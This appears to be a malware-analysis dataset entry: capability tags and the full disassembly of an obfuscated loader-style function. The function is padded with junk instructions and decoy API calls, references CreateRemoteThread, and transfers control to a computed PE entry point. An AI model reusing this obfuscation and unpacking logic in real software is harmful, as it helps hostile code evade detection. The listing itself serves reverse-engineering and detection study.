Function at 0x409adb
Capabilities:
Create thread
Encrypt data using speck

Disassembly:
mov ebp, esp
sub esp, 0x74
or dword [0x417e4d], 0x412378
push ebx
inc dword [0x4235c7]
push esi
mov esi, 0x876987
sub dword [0x415111], 0x412368
push esi
push str.LJKjlkfgdjklghjflkhjgfkl_hjgfkljhfghjgf
sub ebx, ebx
adc dword [0x415115], 0xb4e
push str.KJfkjdkjlghfklhj_lg_kj_lhgkgh
adc dword [0x412378], 0x417e41
mov dword [ebp - 4], ebx
xor dword [0x4235d3], 0x95a
call dword [sym.imp.kernel32.dll_GetProfileIntA]
cmp eax, esi
je 0x409b44
sub eax, eax
jmp 0x40a5d0
push edi
mov edi, 0x8e152d83
mov esi, 0x60672eb0
push 0xa
adc dword [0x415119], 0x51b8
push 0xa
and dword [0x412378], 0x132f
push 1
and dword [0x415101], 0x415109
lea eax, [ebp - 4]
mov dword [ebp - 0xc], eax
and dword [0x4235d3], 0x2ba
push 1
neg dword [0x417e41]
call dword [sym.imp.gdi32.dll_CreateRectRgn]
adc dword [0x412354], 0x4235c3
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
or eax, eax
mov dword [0x412354], 0x291c
je 0x40a326
not dword [0x41abda]
push dword [ebp - 8]
adc dword [0x4235d3], 0x417e4d
call dword [sym.imp.gdi32.dll_DeleteObject]
add dword [ebp - 4], 0x2450a8e
and dword [0x41abca], 0
jmp 0x409bef
mov ecx, dword [0x41abca]
inc ecx
mov dword [0x41abca], ecx
cmp dword [0x41abca], 0x16
jae 0x409c1f
cmp dword [0x41abca], 0x17
jne 0x409c1a
push dword [ebp - 0x18]
push dword [ebp - 0x20]
push 0x42f9
call dword [sym.imp.kernel32.dll_LocalReAlloc]
jmp 0x409be2
sub eax, eax
shl dword [ebp - 4], 1
and dword [ebp - 4], edi
inc edx
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x7f659e30
mov dword [0x412370], 0x1a
cmp dword [0x412370], 0
je 0x409c7c
cmp dword [0x412370], 0x26
jne 0x409c6a
push 0x66cd
push 0x41abe2
push 0x5989
call dword [sym.imp.kernel32.dll_GlobalGetAtomNameW]
mov edx, dword [0x412370]
dec edx
mov dword [0x412370], edx
jmp 0x409c3b
mov dword [ebp - 4], ecx
add dword [0x4235c3], ebx
or dword [ebp - 4], esi
mov ecx, dword [ebp - 4]
mov dword [0x415119], 0xfe3
mov edx, dword [ebp - 0xc]
cmp ecx, dword [edx]
mov dword [0x412364], 0x44d1
jne 0x40a326
mov dword [0x41510d], 0x22b0
inc eax
mov dword [0x41abda], 0x2c7f
cmp eax, 4
jb 0x409c21
and dword [0x415105], 0x41abe2
push str._Dkjdksljidusaliudskljgljkdjgkfd
sub dword [0x412374], 0x2332
call dword [sym.imp.gdi32.dll_AddFontResourceW]
mov dword [0x415101], 0x11
cmp dword [0x415101], 0
je 0x409d40
cmp dword [0x415101], 8
jne 0x409d14
push dword [ebp - 0x20]
call dword [sym.imp.COMDLG32.DLL_ReplaceTextW]
cmp dword [0x415101], 9
jne 0x409d2e
mov ecx, dword [0x415101]
dec ecx
mov dword [0x415101], ecx
mov ecx, dword [0x415101]
dec ecx
mov dword [0x415101], ecx
jmp 0x409cf1
sub eax, eax
shl dword [ebp - 4], 1
mov dword [0x41abd6], 0x12
cmp dword [0x41abd6], 0
je 0x409da0
cmp dword [0x41abd6], 3
jne 0x409d74
push str.TB1_J9V9
call dword [sym.imp.kernel32.dll_GlobalAddAtomA]
cmp dword [0x41abd6], 4
jne 0x409d8e
mov edx, dword [0x41abd6]
dec edx
mov dword [0x41abd6], edx
mov edx, dword [0x41abd6]
dec edx
mov dword [0x41abd6], edx
jmp 0x409d4f
and dword [ebp - 4], edi
and ecx, ecx
mov ecx, dword [ebp - 4]
inc edx
imul ecx, ecx, 0x7f659e30
mov dword [ebp - 4], ecx
mov edx, dword [0x412364]
xor edx, dword [0x4235bf]
mov dword [0x412364], edx
or dword [ebp - 4], esi
mov dword [0x415105], 0x4568
mov ecx, dword [ebp - 4]
mov edx, dword [0x415115]
mov edx, dword [ebp - 0xc]
cmp ecx, dword [edx]
jne 0x40a326
inc eax
mov dword [0x4235bf], 0x6f03
cmp eax, 4
jb 0x409d42
sub eax, eax
sbb dword [0x412360], edx
shl dword [ebp - 4], 1
and dword [ebp - 4], edi
mov ecx, dword [ebp - 4]
and dword [0x417e4d], 0
mov edx, dword [0x417e4d]
inc edx
mov dword [0x417e4d], edx
cmp dword [0x417e4d], 0xa
jne 0x409e4b
push dword [ebp - 0x20]
push 0x8411
push str.Z1I_P6DU
push str.GBO98_LL8G7
push 0x1dc1
call dword [sym.imp.user32.dll_MessageBoxExW]
cmp dword [0x417e4d], 9
jne 0x409e67
sub edx, edx
or edx, dword [0x417e4d]
inc edx
mov dword [0x417e4d], edx
cmp dword [0x417e4d], 0x19
jb 0x409e14
mov edx, dword [0x417eaa]
mov edx, dword [edx]
xor dword [0x41abda], edx
imul ecx, ecx, 0x7f659e30
mov edx, dword [0x412374]
sub dword [0x415111], edx
mov dword [ebp - 4], ecx
and edx, edx
or dword [ebp - 4], esi
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov dword [0x4235cb], 0xa9e
cmp ecx, dword [edx]
jne 0x40a326
mov dword [0x4150fd], 0x72ef
inc eax
cmp eax, 4
mov dword [0x412370], 0x6303
jb 0x409dfb
sub eax, eax
and dword [0x4150fd], 0
sub ecx, ecx
add ecx, dword [0x4150fd]
inc ecx
mov dword [0x4150fd], ecx
cmp dword [0x4150fd], 0x28
jne 0x409f03
push dword [ebp - 0x24]
call dword [sym.imp.user32.dll_IsMenu]
cmp dword [0x4150fd], 0x18
jb 0x409ede
add dword [0x417e59], 0x412378
shl dword [ebp - 4], 1
and dword [ebp - 4], edi
and dword [0x412360], 0
jmp 0x409f3e
sub edx, edx
or edx, dword [0x412360]
inc edx
mov dword [0x412360], edx
cmp dword [0x412360], 0x11
jae 0x409f84
cmp dword [0x412360], 0x1a
jne 0x409f7f
push 0x415119
push 0x8b4a
push dword [ebp - 0x24]
push 0x89fe
push 0x7f12
push 0x7c49
push 0x1205
call dword [sym.imp.kernel32.dll_CreateRemoteThread]
jmp 0x409f2f
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x7f659e30
mov dword [ebp - 4], ecx
or dword [ebp - 4], esi
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov dword [0x4235c7], 0x2f25
cmp ecx, dword [edx]
mov dword [0x412358], 0x1252
jne 0x40a326
inc eax
cmp eax, 4
mov dword [0x4235db], 0x48e
jb 0x409ed4
mov dword [0x417e55], 0x10
cmp dword [0x417e55], 0
je 0x40a031
cmp dword [0x417e55], 0x19
jne 0x40a00d
push dword [ebp - 0x24]
push 0x4235db
push dword [ebp - 0x28]
push str.OFR_AFFL
push 0x6e83
push 0x54b6
call dword [sym.imp.kernel32.dll_LCMapStringW]
mov edx, dword [0x417e55]
dec edx
mov dword [0x417e55], edx
jmp 0x409fd3
sub eax, eax
shl dword [ebp - 4], 1
and dword [ebp - 4], edi
or ecx, ecx
mov ecx, dword [ebp - 4]
xor edx, dword [0x417e51]
imul ecx, ecx, 0x7f659e30
mov dword [0x417e49], 0x1d
cmp dword [0x417e49], 0
je 0x40a0af
cmp dword [0x417e49], 7
jne 0x40a079
push 0x45c2
call dword [sym.imp.kernel32.dll_LocalFree]
cmp dword [0x417e49], 8
jne 0x40a093
mov edx, dword [0x417e49]
dec edx
mov dword [0x417e49], edx
mov edx, dword [0x417e49]
dec edx
mov dword [0x417e49], edx
jmp 0x40a054
mov dword [ebp - 4], ecx
or ecx, edx
or dword [ebp - 4], esi
mov edx, 0x1393
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov dword [0x41abda], 0x516c
cmp ecx, dword [edx]
jne 0x40a326
mov dword [0x415111], 0x4e99
inc eax
mov dword [0x4235d3], 0x1c73
cmp eax, 4
jb 0x40a033
sub eax, eax
or dword [0x41236c], 0x38d4
shl dword [ebp - 4], 1
and dword [ebp - 4], edi
and ecx, dword [0x417e59]
mov ecx, dword [ebp - 4]
adc dword [0x4235cf], 0x729e
imul ecx, ecx, 0x7f659e30
adc edx, 0x9b0
mov dword [ebp - 4], ecx
sub edx, edx
or edx, dword [0x417e55]
xor dword [0x4235d7], edx
or dword [ebp - 4], esi
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov dword [0x4235c7], 0xce5
cmp ecx, dword [edx]
jne 0x40a326
mov dword [0x41abd6], 0x18a3
inc eax
mov dword [0x4235bf], 0x5769
cmp eax, 4
mov dword [0x412358], 0x5fb5
jb 0x40a0f4
sbb ecx, dword [0x417e59]
sub eax, eax
mov dword [0x412360], 0x14
cmp dword [0x412360], 0
je 0x40a1c0
cmp dword [0x412360], 0x19
jne 0x40a1ae
push 0x2f20
call dword [sym.imp.user32.dll_GetMenu]
mov edx, dword [0x412360]
dec edx
mov dword [0x412360], edx
jmp 0x40a189
shl dword [ebp - 4], 1
mov dword [0x41abe2], 0x14
cmp dword [0x41abe2], 0
je 0x40a232
cmp dword [0x41abe2], 5
jne 0x40a202
push 0x1b4e
push dword [ebp - 0x1c]
push 0x1704
push str.NO3_E7T44_KK1HW
push dword [ebp - 0x10]
call dword [sym.imp.user32.dll_DialogBoxParamA]
cmp dword [0x41abe2], 6
jne 0x40a21c
mov edx, dword [0x41abe2]
dec edx
mov dword [0x41abe2], edx
sub edx, edx
add edx, dword [0x41abe2]
dec edx
mov dword [0x41abe2], edx
jmp 0x40a1cd
and dword [ebp - 4], edi
mov ecx, dword [ebp - 4]
neg edx
imul ecx, ecx, 0x7f659e30
xor edx, dword [0x41abd2]
mov dword [ebp - 4], ecx
adc dword [0x4235c7], ebx
or dword [ebp - 4], esi
mov edx, 0x77ca
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov dword [0x41510d], 0x1bcb
cmp ecx, dword [edx]
mov dword [0x412354], 0x3513
jne 0x40a326
inc eax
cmp eax, 4
mov dword [0x417e49], 0x110e
jb 0x40a17f
sub eax, eax
shl dword [ebp - 4], 1
and dword [ebp - 4], edi
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x7f659e30
mov dword [ebp - 4], ecx
or dword [ebp - 4], esi
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
cmp ecx, dword [edx]
jne 0x40a326
inc eax
cmp eax, 4
jb 0x40a28f
inc ebx
cmp ebx, 0x10
jb 0x409b4f
mov ebx, 0xf89c8538
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], 0xf89c853b
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov eax, dword [0x40d5d0]
mov eax, dword [eax + 0x1c8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
mov esi, 0x7510859
sub eax, esi
mov edi, 0x32729f
add eax, edi
mov dword [ecx], eax
mov eax, dword [0x40d854]
cmp eax, 0x23d14057
mov eax, dword [ebp - 8]
je 0x40a32d
mov ecx, dword [ebp - 0xc]
sub eax, esi
add eax, edi
imul eax, ecx
mov dword [ebp - 0xc], eax
jmp 0x40a370
sub eax, eax
jmp 0x40a5cf
sub eax, esi
add eax, edi
mov dword [0x40d6e0], eax
mov eax, dword [ebp - 0xc]
sub eax, esi
add eax, edi
mov dword [0x40d854], eax
mov eax, dword [ebp - 8]
mov ecx, dword [0x40d6e0]
sub eax, esi
add eax, edi
cmp ecx, eax
jne 0x40a370
push str.tdzbo88q
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov ecx, dword [0x40d5d0]
mov ecx, dword [ecx + 0x198]
mov dword [ecx], eax
mov eax, dword [0x40d5d0]
mov eax, dword [eax + 0x18c]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, 0xf89c853c
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0xf89c8530
mov ebx, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
sub edx, esi
sub ecx, esi
add ecx, edx
mov edx, dword [ebp - 8]
sub ebx, esi
sub edx, esi
add ebx, edi
lea ecx, [ecx + edx + 0x9757dd]
cmp ebx, ecx
ja 0x40a41d
mov eax, dword [ebp - 8]
sub eax, esi
lea eax, [eax + ebx + 0x32729f]
push eax
mov eax, dword [ebp - 0x10]
sub eax, esi
lea eax, [ebp + eax + 0x3272a7]
push eax
mov eax, dword [0x40d5d0]
push dword [eax + 0x1bc]
call fcn.0040742c
mov eax, dword [ebp - 8]
sub eax, esi
lea ebx, [ebx + eax + 0x32729f]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 8]
sub ecx, esi
sub eax, esi
add eax, ecx
mov ecx, dword [ebp - 8]
sub ecx, esi
lea eax, [eax + ecx + 0x9757dd]
cmp ebx, eax
jbe 0x40a3c2
mov eax, 0xf89c853c
mov ecx, dword [ebp + 0xc]
mov dword [0x40d454], ecx
mov ecx, dword [ebp + 0x10]
mov dword [0x40d6a8], ecx
mov ecx, dword [0x40d454]
mov edx, dword [ebp - 0x18]
sbb ecx, edi
sub ecx, esi
mov dword [edx], ecx
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0xf89c853b
je 0x40a4a4
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x20]
sub ecx, esi
add ecx, edi
cmp ecx, edx
je 0x40a4a4
mov eax, dword [0x40d5d0]
mov eax, dword [eax + 0x194]
mov ecx, dword [eax]
mov eax, dword [ecx + 0x3c]
push dword [0x40d6a8]
mov eax, dword [eax + ecx + 0x28]
push dword [0x40d454]
add eax, ecx
mov ecx, dword [0x40d5d0]
mov ecx, dword [ecx + 0x194]
push dword [ecx]
call eax
mov ecx, dword [0x40d5d0]
mov ecx, dword [ecx + 0x1cc]
mov dword [ecx], eax
jmp 0x40a5b4
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x24]
sub ecx, esi
add ecx, edi
cmp ecx, edx
jne 0x40a597
mov ecx, dword [ebp - 0xc]
sub ecx, esi
add ecx, edi
mov dword [0x40d654], ecx
mov ecx, dword [ebp - 0xc]
sub ecx, esi
add ecx, edi
mov dword [0x40d64c], ecx
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0xc]
mov dword [ebp + 0xc], ecx
mov ecx, dword [ebp + 0xc]
sub ecx, esi
add ecx, edi
mov dword [ebp + 0xc], ecx
mov ecx, dword [0x40d450]
mov ecx, dword [ecx]
mov dword [ebp + 0xc], ecx
mov ecx, dword [0x40d658]
mov ecx, dword [ecx]
mov dword [ebp - 0x18], ecx
mov dword [ebp + 0x10], 0xf89c8738
mov ecx, dword [ebp + 0x10]
sub ecx, esi
add ecx, edi
mov dword [ebp + 0x10], ecx
mov ecx, dword [0x40d5d0]
mov dword [ebp + 0x10], ecx
mov ecx, dword [ebp + 0xc]
mov dword [ebp + 0xc], ecx
mov ecx, dword [ebp + 0xc]
push 4
pop edx
sbb edx, ecx
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x28], 0xf89c85f8
mov dword [ebp + 0x10], edx
mov dword [ebp - 0x74], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x28]
sub eax, esi
add eax, edi
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x74]
sub eax, esi
add eax, edi
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x74]
push eax
mov eax, dword [ebp - 0x10]
sub eax, esi
add eax, edi
push eax
mov eax, dword [0x40d5f0]
push 0x40d546
push dword [eax]
call fcn.0040ae4c
sub esi, esi
mov eax, dword [ebp + 0x10]
sbb eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
call fcn.004059ca
inc esi
cmp esi, 0x52
jb 0x40a579
mov eax, dword [ebp - 0x10]
call fcn.00404703
lea eax, [ebp + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
push dword [ebp - 0xc]
lea eax, [ebp - 0x2c]
push eax
call fcn.00407c09
mov eax, dword [0x40d5d0]
push 4
add eax, 0x1cc
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.0040742c
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
pop edi
pop esi
pop ebx
leave
ret 0xc